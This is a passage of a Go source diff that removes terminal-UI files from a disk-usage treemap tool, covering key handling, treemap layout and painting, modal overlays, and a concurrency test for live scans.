value := Style{FG: t.Fg, BG: t.Bg, Attr: Bold}
line := func(k, val string, vs Style) {
if y >= r.Y+r.H {
return
}
cv.Text(x, y, k, 20, label)
cv.Text(x+20, y, val, lw-20, vs)
y++
}
head := func(s string) {
if y >= r.Y+r.H-1 {
return
}
y++
cv.Text(x, y, s, lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
y++
}
state := "Complete"
stateSt := Style{FG: t.OK, BG: t.Bg, Attr: Bold}
switch {
case m.scanning:
state, stateSt.FG = "Scanning…", t.Accent
case st.Cancelled:
state, stateSt.FG = "Cancelled — totals incomplete", t.Warn
case st.Incomplete():
state, stateSt.FG = "Complete, with unreadable areas", t.Warn
}
cv.Text(x, y, "SCAN INFORMATION", lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
y++
line("Root", textutil.Sanitize(st.Root), value)
line("State", state, stateSt)
if st.FromSnapshot != "" {
line("Snapshot", textutil.Sanitize(st.FromSnapshot), value)
}
files := st.Files + st.Symlinks + st.Others
line("Items scanned", textutil.Count(files+st.Dirs), value)
line(" Files", textutil.Count(st.Files), value)
line(" Directories", textutil.Count(st.Dirs), value)
line(" Symlinks", textutil.Count(st.Symlinks), value)
line(" Special", textutil.Count(st.Others), value)
line("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotSize), textutil.Count(root.TotSize)), value)
line("Allocated size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotAlloc), textutil.Count(root.TotAlloc)), value)
el := st.Elapsed()
if st.FromSnapshot == "" {
line("Elapsed", textutil.Duration(el), value)
line("Rate", textutil.Count(int64(float64(files+st.Dirs)/max(el.Seconds(), 0.001)))+" items/s", value)
line("Workers", fmt.Sprintf("%d (%d CPUs)", st.Workers, runtime.NumCPU()), value)
}
head("ERRORS AND OMISSIONS")
anyIssue := false
for k, c := range st.ErrCounts {
if c > 0 {
line(inventory.ErrKind(k).String(), textutil.Count(c), Style{FG: t.Err, BG: t.Bg, Attr: Bold})
anyIssue = true
}
}
type row struct {
k string
v int64
}
for _, rr := range []row{{"Unscanned dirs", st.Unscanned}, {"Excluded", st.Excluded}, {"Other FS skipped", st.SkippedMounts},
{"Virtual FS skipped", st.VirtualSkipped}, {"Loops skipped", st.LoopsSkipped}, {"Broken symlinks", st.BrokenLinks},
{"Hard-link dups", st.HardlinkDups}} {
if rr.v > 0 {
line(rr.k, textutil.Count(rr.v), Style{FG: t.Warn, BG: t.Bg, Attr: Bold})
anyIssue = true
}
}
if !anyIssue {
line("None", "every entry was read", Style{FG: t.OK, BG: t.Bg})
}
head("OPTIONS")
excl := "none"
if len(st.Excludes) > 0 {
excl = textutil.Sanitize(strings.Join(st.Excludes, ", "))
}
line("Exclusions", excl, value)
line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
line("Follow symlinks", textutil.Sanitize(st.Follow), value)
line("Size mode", m.sizeMode.String(), value)
units := "IEC (1024)"
if textutil.SI {
units = "SI (1000)"
}
line("Units", units, value)
if root.Flags&inventory.FlagAllocUnknown != 0 {
line("Note", "allocated size unavailable on this platform", Style{FG: t.Warn, BG: t.Bg})
}
// Error list on the right (or below in narrow terminals).
er := treemap.Rect{X: r.X + lw + 4, Y: r.Y, W: r.W - lw - 4, H: r.H}
if r.W < 100 {
er = treemap.Rect{X: r.X, Y: y + 1, W: r.W, H: r.Y + r.H - y - 1}
}
if er.W < 30 || er.H < 4 {
return
}
rows := make([]tableRow, len(st.Errors))
for i, e := range st.Errors {
p := m.tree.Path(e.Node)
if e.Name != "" {
p += "/" + e.Name
}
rows[i] = tableRow{cells: []string{e.Kind.String(), textutil.Sanitize(p), textutil.Sanitize(e.Msg)},
styles: []*Style{{FG: t.Err, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}}, bar: -1}
}
title := fmt.Sprintf("ERROR LIST (%s)", textutil.Count(st.TotalErrors()))
if int64(len(st.Errors)) < st.TotalErrors() {
title += fmt.Sprintf(" — first %s shown", textutil.Count(int64(len(st.Errors))))
}
v.tb.paint(m, cv, er, []column{{"KIND", 18, false, false}, {"PATH", 0, false, true}, {"DETAIL", 22, false, false}}, rows, title)
}
func (v *infoView) key(m *Model, k string) (bool, tea.Cmd) {
errs := m.tree.Stats.Errors
if v.tb.key(k, len(errs)) {
return true, nil
}
if v.tb.cursor < len(errs) && (k == "enter" || k == "space") {
m.jumpTo(errs[v.tb.cursor].Node)
return true, nil
}
return false, nil
}
func (v *infoView) wheel(m *Model, up bool) tea.Cmd {
v.tb.scroll(up, len(m.tree.Stats.Errors))
return nil
}
-268
View File
@@ -1,268 +0,0 @@
package tui
import (
"fmt"
"os"
"path/filepath"
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// view is one of the Tab-cycled main views.
type view interface {
name() string
paint(m *Model, cv *Canvas, r treemap.Rect)
key(m *Model, k string) (bool, tea.Cmd)
wheel(m *Model, up bool) tea.Cmd
}
func keyName(k tea.KeyPressMsg) string {
switch s := k.String(); s {
case " ":
return "space"
default:
return s
}
}
// handleKey dispatches a key press. It holds the tree read lock for the
// whole handler; helpers it calls must not lock again (a recursive RLock
// can deadlock against a waiting writer).
func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
k := keyName(msg)
if k == "ctrl+c" {
return m.ctrlCPressed()
}
t := m.tree
t.RLock()
defer t.RUnlock()
m.ensureSelection()
if len(m.modals) > 0 {
return m.modalKey(msg)
}
if m.search.editing {
return m.searchKey(msg)
}
handled, cmd := m.views[m.view].key(m, k)
if handled {
return cmd
}
switch k {
case "q":
m.quit = true
case "?", "f1":
m.openModal(newHelpModal(m))
case "/":
m.search.begin()
case "esc":
if m.search.query != nil {
m.clearFilter()
} else if m.zoom != m.tree.Root() {
m.zoomOut()
}
case "tab":
m.setView((m.view + 1) % len(m.views))
case "shift+tab":
m.setView((m.view + len(m.views) - 1) % len(m.views))
case "1", "2", "3", "4", "5", "6", "7":
m.setView(int(k[0] - '1'))
case "enter":
return m.inspectSelection()
case "space", "right":
return m.zoomIntoSelection()
case "backspace", "left":
m.zoomOut()
case "home":
m.zoomTo(m.tree.Root())
case "a":
if m.sizeMode == inventory.SizeAllocated {
m.sizeMode = inventory.SizeLogical
} else {
m.sizeMode = inventory.SizeAllocated
}
m.invalidate()
var cmds []tea.Cmd
if m.search.query != nil {
cmds = append(cmds, m.applyFilter())
}
cmds = append(cmds, m.info("Sizing by "+m.sizeMode.String()+" size"))
return tea.Batch(cmds...)
case "r":
return m.rescan()
case "s":
m.openModal(newSaveModal(m))
case "e":
m.setViewByName("Scan")
if v, ok := m.views[m.view].(*infoView); ok {
v.focusErrors(m)
}
case "x":
m.setViewByName("Types")
case "g":
m.setViewByName("Top")
case "D":
return m.startDuplicates()
case "c":
return m.copySelected()
case "o":
return m.reveal()
case "d", "delete":
return m.requestTrash()
case "T":
names := ThemeNames()
cur := 0
for i, n := range names {
if n == m.theme.Name {
cur = i
}
}
ascii := m.theme.ASCII
m.theme = LoadTheme(names[(cur+1)%len(names)], m.opts.Settings)
m.theme.ASCII = ascii
return m.info("Theme: " + m.theme.Name)
}
return nil
}
func (m *Model) setViewByName(n string) {
for i, v := range m.views {
if v.name() == n {
m.setView(i)
}
}
}
func (m *Model) inspectSelection() tea.Cmd {
if isGroup(m.sel) {
if g, ok := m.groupInfo(m.sel); ok {
m.openModal(newGroupModal(m, g))
}
return nil
}
if id := m.selectedNode(); id != inventory.NoNode {
m.openModal(newInfoModal(m, id))
}
return nil
}
func (m *Model) zoomIntoSelection() tea.Cmd {
if isGroup(m.sel) {
// Groups cannot be zoomed: show their members in the list view.
if g, ok := m.groupInfo(m.sel); ok && len(g.ids) > 0 {
m.sel = int64(g.ids[0])
m.setViewByName("List")
}
return nil
}
id := m.selectedNode()
if id == inventory.NoNode {
return nil
}
if !m.tree.Node(id).IsDir() {
return m.info("Not a directory — Enter shows details")
}
if len(m.kidsOf(id).ids) == 0 {
return m.info("Directory is empty")
}
m.zoomTo(id)
return nil
}
func (m *Model) zoomOut() {
if p := m.tree.Node(m.zoom).Parent; p != inventory.NoNode {
m.zoomTo(p)
}
}
// jumpTo zooms to a node's parent directory and selects it.
func (m *Model) jumpTo(id inventory.NodeID) {
p := m.tree.Node(id).Parent
if p == inventory.NoNode {
m.zoomTo(id)
return
}
m.zoomTo(p)
m.sel = int64(id)
m.setViewByName("Map")
}
func (m *Model) selectedPath() (string, bool) {
id := m.selectedNode()
if id == inventory.NoNode {
return "", false
}
return m.tree.Path(id), true
}
func (m *Model) copySelected() tea.Cmd {
p, ok := m.selectedPath()
if !ok {
return nil
}
return m.copyPath(p)
}
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
// display unchanged are refused: a newline in a hostile filename runs
// commands when pasted into a shell, and bidi controls disguise them.
func (m *Model) copyPath(p string) tea.Cmd {
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
}
func (m *Model) reveal() tea.Cmd {
if m.snapshot {
return m.warn("Snapshot — the files may not exist on this machine")
}
p, ok := m.selectedPath()
if !ok {
return nil
}
if platform.Headless() {
// No file manager: show the folder in the map instead.
id := m.selectedNode()
if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 {
m.zoomTo(id)
m.setViewByName("Map")
} else {
m.jumpTo(id)
}
return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom)))
}
if err := platform.Reveal(p); err != nil {
return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
}
return m.info("Opened in file manager")
}
func (m *Model) saveSnapshot(path string) tea.Cmd {
t := m.tree
return func() tea.Msg {
t.RLock()
err := saveFile(path, t)
t.RUnlock()
return saveDoneMsg{path, err}
}
}
type saveDoneMsg struct {
path string
err error
}
func defaultSnapshotName(root string) string {
base := filepath.Base(root)
if base == string(filepath.Separator) || base == "." || base == "" {
base = "root"
}
wd, _ := os.Getwd()
return filepath.Join(wd, fmt.Sprintf("%s-%s.msz", base, time.Now().Format("20060102-1504")))
}
-71
View File
@@ -1,71 +0,0 @@
package tui
import (
"context"
"fmt"
"os"
"path/filepath"
"testing"
"time"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
)
// TestLiveScanRendering renders, navigates, filters and resizes while the
// scanner mutates the inventory. Run with -race to verify the locking
// discipline.
func TestLiveScanRendering(t *testing.T) {
root := t.TempDir()
for i := range 30 {
d := filepath.Join(root, fmt.Sprintf("d%02d", i), "sub")
if err := os.MkdirAll(d, 0o755); err != nil {
t.Fatal(err)
}
for j := range 40 {
os.WriteFile(filepath.Join(d, fmt.Sprintf("f%d.log", j)), make([]byte, (i+1)*(j+1)*100), 0o644)
}
}
start := func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) {
s, err := scan.Start(ctx, root, scan.Options{Workers: 4, ChunkSize: 3})
if err != nil {
return nil, nil, err
}
return s, s.Tree, nil
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
s, tr, err := start(ctx)
if err != nil {
t.Fatal(err)
}
m := newModel(Options{Start: start}, s, tr, cancel)
sizes := [][2]int{{120, 40}, {80, 24}, {200, 60}, {45, 12}}
deadline := time.After(20 * time.Second)
for i := 0; ; i++ {
send(m, size(sizes[i%len(sizes)][0], sizes[i%len(sizes)][1]), tickMsg(time.Now()))
send(m, key([]string{"right", "down", "left", "up"}[i%4]))
if i%5 == 0 {
send(m, key("tab"))
}
if i == 3 {
m.search.ed.set("ext = log")
m.queryChanged()
send(m, m.applyFilter()())
}
m.dirty = true
m.View()
select {
case <-s.Done():
send(m, scanDoneMsg{s})
m.View()
if m.scanning {
t.Fatal("scan should be finished")
}
return
case <-deadline:
t.Fatal("scan did not finish")
default:
}
}
}
-391
View File
@@ -1,391 +0,0 @@
package tui
import (
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// tmLayout is the treemap geometry for one (zoom, rect, data version). It is
// recomputed from scratch whenever any of those change — after a resize the
// layout algorithm runs again for the new rectangle rather than scaling the
// old one.
type tmLayout struct {
zoom inventory.NodeID
rect treemap.Rect
ver int
blocks []treemap.Block // top level: navigable
nested []nested // previews inside directories: drawn only
groups map[int64]*group
visible map[int64]bool
inner map[int64]bool // top-level blocks with nested previews
}
type nested struct {
id int64
r treemap.Rect
depth int
alt bool
inner bool // has nested children drawn inside it
}
type group struct {
parent inventory.NodeID
ids []inventory.NodeID
size int64
}
// LOD parameters.
const (
topMinArea = 12 // cells: room for a 4×3 framed block
topMaxItems = 400
nestMinArea = 3
nestMaxItems = 120
maxNestDepth = 8 // block-size thresholds stop recursion long before this
nestMinW = 4
nestMinH = 2
nestRecurseW = 14
nestRecurseH = 5
)
func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout {
if l := m.tm; l != nil && l.zoom == m.zoom && l.rect == r && l.ver == m.dataVer {
return l
}
l := &tmLayout{zoom: m.zoom, rect: r, ver: m.dataVer, groups: map[int64]*group{}, visible: map[int64]bool{}, inner: map[int64]bool{}}
l.blocks = m.layoutLevel(l, m.zoom, r, topMinArea, topMaxItems)
for _, b := range l.blocks {
l.visible[b.ID] = true
if b.ID < 0 || b.W < 3 || b.H < 2 {
continue
}
if n := m.tree.Node(inventory.NodeID(b.ID)); n.IsDir() {
in := b.Inset(1)
if in.W >= nestMinW && in.H >= nestMinH {
before := len(l.nested)
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2)
l.inner[b.ID] = len(l.nested) > before
}
}
}
m.tm = l
return l
}
// layoutLevel lays out the children of parent in r with level-of-detail
// grouping: children too small to be useful collapse into one group block.
func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect, minArea, maxItems int) []treemap.Block {
k := m.kidsOf(parent)
if len(k.ids) == 0 || r.Empty() {
return nil
}
sizes := make([]float64, len(k.sizes))
for i, s := range k.sizes {
sizes[i] = float64(s)
}
vis := treemap.Visible(sizes, float64(k.total), r.Area(), minArea, maxItems)
items := make([]treemap.Item, 0, vis+1)
for i := range vis {
items = append(items, treemap.Item{ID: int64(k.ids[i]), Size: sizes[i]})
}
if vis < len(k.ids) {
g := &group{parent: parent, ids: k.ids[vis:]}
for _, s := range k.sizes[vis:] {
g.size += s
}
gid := groupID(parent)
l.groups[gid] = g
items = append(items, treemap.Item{ID: gid, Size: float64(g.size)})
}
return treemap.Squarify(items, r)
}
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
// Deeper levels need bigger blocks to stay legible rather than noisy.
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems)
for i, b := range blocks {
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
idx := len(l.nested)
l.nested = append(l.nested, nb)
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
l.nested[idx].inner = true
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
}
}
}
// chainEnd follows directories whose only non-empty child is a directory
// (mnt → raid → media), so nesting spends its space on the level that
// actually branches instead of on full-size wrappers.
func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID {
for {
k := m.kidsOf(id)
if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() {
return id
}
id = k.ids[0]
}
}
// groupInfo returns the LOD group for a group ID in the current layout.
func (m *Model) groupInfo(id int64) (*group, bool) {
if m.tm == nil {
return nil, false
}
g, ok := m.tm.groups[id]
return g, ok
}
type mapView struct{}
func (*mapView) name() string { return "Map" }
func (v *mapView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
l := m.layoutTreemap(r)
if len(l.blocks) == 0 {
msg := "Empty directory"
switch {
case m.search.query != nil:
msg = "No matches here — Esc clears the filter"
case m.scanning:
msg = "Scanning…"
case !m.tree.Node(m.zoom).IsDir():
msg = textutil.Sanitize(m.tree.Node(m.zoom).Name) + " — " + textutil.Size(m.sizeOf(m.zoom))
}
cv.TextCentered(r.X, r.Y+r.H/2, r.W, msg, t.muted())
return
}
sel := m.visibleSel(l.visible)
total := m.sizeOf(m.zoom)
for _, b := range l.blocks {
m.paintTop(cv, b, b.ID == sel, b.ID == m.hover, total)
}
for _, nb := range l.nested {
m.paintNested(cv, nb)
}
for _, b := range l.blocks {
id := b.ID
m.hits = append(m.hits, hit{b.Rect, func(m *Model, double bool) tea.Cmd { return m.clickBlock(id, double) }})
}
}
// blockName returns a sanitised display name for a block.
func (m *Model) blockName(id int64) string {
if isGroup(id) {
if g, ok := m.groupInfo(id); ok {
return textutil.Count(int64(len(g.ids))) + " smaller items"
}
return "smaller items"
}
nid := inventory.NodeID(id)
n := m.tree.Node(nid)
name := textutil.Sanitize(n.Name)
if n.IsDir() && nid != m.tree.Root() {
name += "/"
for end := m.chainEnd(nid); nid != end; {
nid = m.kidsOf(nid).ids[0]
name += textutil.Sanitize(m.tree.Node(nid).Name) + "/"
}
}
return name
}
func (m *Model) blockSize(id int64) int64 {
if isGroup(id) {
if g, ok := m.groupInfo(id); ok {
return g.size
}
return 0
}
return m.sizeOf(inventory.NodeID(id))
}
// parentSize is the size of the folder a block sits in.
func (m *Model) parentSize(id int64) int64 {
if isGroup(id) {
if g, ok := m.groupInfo(id); ok {
return m.sizeOf(g.parent)
}
return 0
}
if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode {
return m.sizeOf(p)
}
return 0
}
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
t := m.theme
base := m.colorOf(b.ID)
fill := base.Mix(t.Bg, 0.62)
fillCh := " "
if isGroup(b.ID) {
fillCh = "░"
if t.ASCII {
fillCh = "."
}
}
name := m.blockName(b.ID)
size := m.blockSize(b.ID)
if b.W < 3 || b.H < 2 {
// Too small for a frame: a solid tile.
st := Style{FG: base, BG: base.Mix(t.Bg, 0.3)}
ch := fillCh
if sel {
st = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
ch = "◆"
if t.ASCII {
ch = "#"
}
} else if t.Mono {
ch = "▒"
}
cv.Fill(b.Rect, " ", st)
cv.Text(b.X+(b.W-1)/2, b.Y+(b.H-1)/2, ch, 1, st)
return
}
cv.Fill(b.Rect, fillCh, Style{FG: base.Mix(t.Bg, 0.35), BG: fill})
frame := Style{FG: base.Mix(t.Bg, 0.15), BG: fill}
box := t.box()
title := Style{FG: base.Mix(RGB(255, 255, 255), 0.35), BG: fill, Attr: Bold}
switch {
case sel:
box = t.selBox()
frame = Style{FG: t.Sel, BG: fill, Attr: Bold}
title = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
case hov:
frame.FG = base.Mix(RGB(255, 255, 255), 0.5)
}
if t.Mono && !sel {
title.Attr = Bold
}
cv.Box(b.Rect, box, frame)
cv.Text(b.X+1, b.Y, textutil.Truncate(" "+name+" ", b.W-2), b.W-2, title)
label := textutil.Size(size)
if pct := textutil.Percent(size, total); b.W-2 >= textutil.Width(label)+textutil.Width(pct)+5 {
label += " · " + pct
} else if b.W-2 < textutil.Width(label)+2 {
label = textutil.SizeCompact(size)
}
label = " " + label + " "
if b.H >= 3 && textutil.Width(label) <= b.W-2 {
cv.TextRight(b.X+1, b.Y+b.H-1, b.W-2, label, Style{FG: frame.FG, BG: fill, Attr: frame.Attr})
}
// Interior labels for blocks without nested previews.
in := b.Inset(1)
if in.Empty() || m.hasNested(b.ID) {
return
}
n := inventory.NoNode
if !isGroup(b.ID) {
n = inventory.NodeID(b.ID)
}
lines := []string{}
if n != inventory.NoNode {
nd := m.tree.Node(n)
if !nd.IsDir() {
lines = append(lines, kindLabel(m.tree, nd))
} else if nd.Files > 0 {
lines = append(lines, textutil.Count(int64(nd.Files))+" files")
}
}
if b.H < 4 || in.W < 6 {
return
}
y0 := in.Y + (in.H-len(lines))/2
for i, s := range lines {
cv.TextCentered(in.X, y0+i, in.W, s, Style{FG: base.Mix(t.Fg, 0.4), BG: fill})
}
}
func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id] }
func (m *Model) paintNested(cv *Canvas, nb nested) {
t := m.theme
base := m.colorOf(nb.id)
f := max(0.38-0.1*float64(nb.depth-2), 0.1)
if nb.alt {
f += 0.07
}
bg := base.Mix(t.Bg, f)
shadow := bg.Mix(RGB(0, 0, 0), 0.45)
st := Style{FG: t.textOn(bg), BG: bg}
ch := " "
if isGroup(nb.id) {
ch = "░"
if t.ASCII {
ch = "."
}
st.FG = bg.Mix(t.Fg, 0.25)
}
r := nb.r
cv.Fill(r, ch, st)
if t.Mono {
// No colour: draw a light outline so neighbours stay distinguishable.
if r.W >= 2 && r.H >= 2 {
cv.Box(r, BoxRound, Style{Attr: Faint})
}
} else {
if r.W >= 4 {
cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, " ", Style{BG: shadow})
}
if r.H >= 3 {
cv.Fill(treemap.Rect{X: r.X, Y: r.Y + r.H - 1, W: r.W, H: 1}, " ", Style{BG: shadow})
}
}
lw := r.W - 1
if t.Mono {
lw = r.W - 2
}
if lw < 5 {
return
}
lx := r.X
if t.Mono {
lx++
}
ly := r.Y
if t.Mono && r.H >= 3 {
ly++
}
name := m.blockName(nb.id)
if textutil.Width(name) > lw && lw < 8 {
return // a stub like "te…" is noise, not information
}
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
if !nb.inner && r.H >= 3 && lw >= 5 {
size := m.blockSize(nb.id)
label := textutil.SizeCompact(size)
if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw {
label += " · " + pct
}
cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
}
}
func (v *mapView) key(m *Model, k string) (bool, tea.Cmd) {
dirs := map[string]treemap.Direction{"left": treemap.Left, "right": treemap.Right, "up": treemap.Up, "down": treemap.Down,
"h": treemap.Left, "l": treemap.Right, "k": treemap.Up, "j": treemap.Down}
if d, ok := dirs[k]; ok {
if l := m.tm; l != nil {
if id, ok := treemap.Neighbour(l.blocks, m.visibleSel(l.visible), d); ok {
m.sel = id
}
}
return true, nil
}
return false, nil
}
func (v *mapView) wheel(m *Model, up bool) tea.Cmd {
if up {
return m.zoomIntoSelection()
}
m.zoomOut()
return nil
}
-221
View File
@@ -1,221 +0,0 @@
package tui
import (
"strings"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// span is a run of styled text; a line is a slice of spans.
type span struct {
s string
st *Style // nil = modal default
}
type line []span
func txt(s string) line { return line{{s, nil}} }
func styled(s string, st Style) line { return line{{s, &st}} }
func kv(k, v string, kst, vst Style) line { return line{{textutil.PadRight(k, 18), &kst}, {v, &vst}} }
// modal is an overlay. Modals receive all keys while open; Esc always
// closes them (handled by the frame before the modal sees it, unless the
// modal is editing text).
type modal interface {
title() string
content(m *Model, width int) []line // rebuilt every frame, so resizes reflow
footer(m *Model) string
key(m *Model, k string) (closeModal bool, cmd tea.Cmd)
width() int // preferred inner width
}
// modalFrame wraps a modal with scroll state.
type modalFrame struct {
modal
scroll int
viewH int // content rows visible in the last paint
contentN int
}
func (m *Model) openModal(md modal) {
m.modals = append(m.modals, &modalFrame{modal: md})
m.dirty = true
}
func (m *Model) closeModal() {
if len(m.modals) > 0 {
m.modals = m.modals[:len(m.modals)-1]
}
m.dirty = true
}
// textInputModal is implemented by modals that consume printable keys.
type textInputModal interface {
editing() bool
editor() *lineEditor
}
func (m *Model) modalKey(msg tea.KeyPressMsg) tea.Cmd {
k := keyName(msg)
f := m.modals[len(m.modals)-1].(*modalFrame)
if ti, ok := f.modal.(textInputModal); ok && ti.editing() && k != "esc" && k != "enter" {
ti.editor().key(msg)
return nil
}
if ti, ok := f.modal.(textInputModal); !ok || !ti.editing() {
page := max(f.viewH-1, 1)
switch k {
case "esc", "q":
m.closeModal()
return nil
case "up", "k":
f.scroll--
case "down", "j":
f.scroll++
case "pgup":
f.scroll -= page
case "pgdown", "space":
f.scroll += page
case "home":
f.scroll = 0
case "end":
f.scroll = f.contentN
default:
goto modalSpecific
}
f.clampScroll()
return nil
}
modalSpecific:
closeIt, cmd := f.key(m, k)
if closeIt {
// Close this modal specifically (it may have opened another).
for i, x := range m.modals {
if x == f {
m.modals = append(m.modals[:i], m.modals[i+1:]...)
break
}
}
m.dirty = true
}
return cmd
}
func (f *modalFrame) clampScroll() {
f.scroll = max(0, min(f.scroll, f.contentN-f.viewH))
}
// paintModal dims the base screen and draws the top modal centred,
// clamped to the terminal with a one-cell margin. Content that does not fit
// scrolls.
func (m *Model) paintModal(cv *Canvas) {
t := m.theme
// Dim everything underneath.
cv.Restyle(treemap.Rect{X: 0, Y: 0, W: cv.W, H: cv.H}, func(s Style) Style {
if t.Mono {
s.Attr |= Faint
return s
}
s.FG = s.FG.Mix(t.Bg, 0.6)
s.BG = s.BG.Mix(RGB(0, 0, 0), 0.45)
s.Attr &^= Bold
return s
})
f := m.modals[len(m.modals)-1].(*modalFrame)
maxW := cv.W - 2
w := min(f.width()+4, maxW)
w = max(w, min(30, maxW))
inner := w - 4
lines := f.content(m, inner)
foot := f.footer(m)
chrome := 4 // border top/bottom, title rule
if foot != "" {
chrome += 2
}
h := min(len(lines)+chrome, cv.H-2)
h = max(h, min(chrome+1, cv.H))
x0, y0 := (cv.W-w)/2, (cv.H-h)/2
r := treemap.Rect{X: x0, Y: y0, W: w, H: h}
bg := t.PanelBg
if bg == 0 {
bg = t.Bg
}
base := Style{FG: t.Fg, BG: bg}
// Drop shadow.
if !t.Mono {
cv.Restyle(treemap.Rect{X: x0 + 1, Y: y0 + h, W: w, H: 1}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s })
cv.Restyle(treemap.Rect{X: x0 + w, Y: y0 + 1, W: 1, H: h}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s })
}
cv.Fill(r, " ", base)
border := Style{FG: t.Accent, BG: bg, Attr: Bold}
box := BoxRound
if t.ASCII {
box = BoxASCII
}
cv.Box(r, box, border)
cv.Text(x0+2, y0+1, strings.ToUpper(f.title()), inner, Style{FG: t.Accent, BG: bg, Attr: Bold})
rule := "─"
if t.ASCII {
rule = "-"
}
cv.HLine(x0+1, y0+2, w-2, rule, Style{FG: t.Faint, BG: bg})
f.viewH = h - chrome
f.contentN = len(lines)
f.clampScroll()
for i := 0; i < f.viewH && f.scroll+i < len(lines); i++ {
x := x0 + 2
for _, sp := range lines[f.scroll+i] {
st := base
if sp.st != nil {
st = *sp.st
if st.BG == 0 {
st.BG = bg
}
}
x += cv.Text(x, y0+3+i, sp.s, x0+2+inner-x, st)
}
}
if len(lines) > f.viewH && f.viewH > 0 {
ind := textutil.Count(int64(f.scroll+1)) + "–" + textutil.Count(int64(min(f.scroll+f.viewH, len(lines)))) +
"/" + textutil.Count(int64(len(lines)))
if f.scroll > 0 {
ind = "▲ " + ind
}
if f.scroll+f.viewH < len(lines) {
ind += " ▼"
}
cv.TextRight(x0+1, y0+1, w-3, ind, Style{FG: t.Muted, BG: bg})
}
if foot != "" {
cv.HLine(x0+1, y0+h-3, w-2, rule, Style{FG: t.Faint, BG: bg})
cv.Text(x0+2, y0+h-2, foot, inner, Style{FG: t.Muted, BG: bg})
}
m.hits = append(m.hits[:0], hit{r, func(*Model, bool) tea.Cmd { return nil }})
}
// wrap breaks s into chunks of at most w cells (used for long paths).
func wrap(s string, w int) []string {
if w <= 0 {
return nil
}
var out []string
var cur strings.Builder
cw := 0
textutil.Clusters(s, func(c string, cwid int) bool {
if cw+cwid > w {
out = append(out, cur.String())
cur.Reset()
cw = 0
}
cur.WriteString(c)
cw += cwid
return true
})
if cur.Len() > 0 || len(out) == 0 {
out = append(out, cur.String())
}
return out
}
-391
View File
@@ -1,391 +0,0 @@
package tui
import (
"fmt"
"io/fs"
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/export"
"github.com/andydixon/mapsize/internal/filter"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
"github.com/andydixon/mapsize/internal/textutil"
)
// ---- Item information -------------------------------------------------------
type infoModal struct {
id inventory.NodeID
btime int64 // live birth time (0 if unknown)
live bool // metadata re-read from the filesystem
}
func newInfoModal(m *Model, id inventory.NodeID) modal {
md := &infoModal{id: id}
if !m.snapshot {
// Birth time is not kept in the inventory; read it live.
if meta, err := platform.Lstat(m.tree.Path(id)); err == nil {
md.btime, md.live = meta.BTime, true
}
}
return md
}
func (*infoModal) width() int { return 72 }
func (md *infoModal) title() string { return "Item information" }
func (md *infoModal) footer(m *Model) string {
s := "Esc close · c copy path · o " + revealVerb() + " · Space go to"
if !m.opts.ReadOnly && !m.snapshot {
s += " · d " + deleteVerb()
}
return s
}
func (md *infoModal) content(m *Model, w int) []line {
t := m.theme
tr := m.tree
n := tr.Node(md.id)
ks := Style{FG: t.Muted}
vs := Style{FG: t.Fg}
bold := Style{FG: t.Fg, Attr: Bold}
warn := Style{FG: t.Warn, Attr: Bold}
var out []line
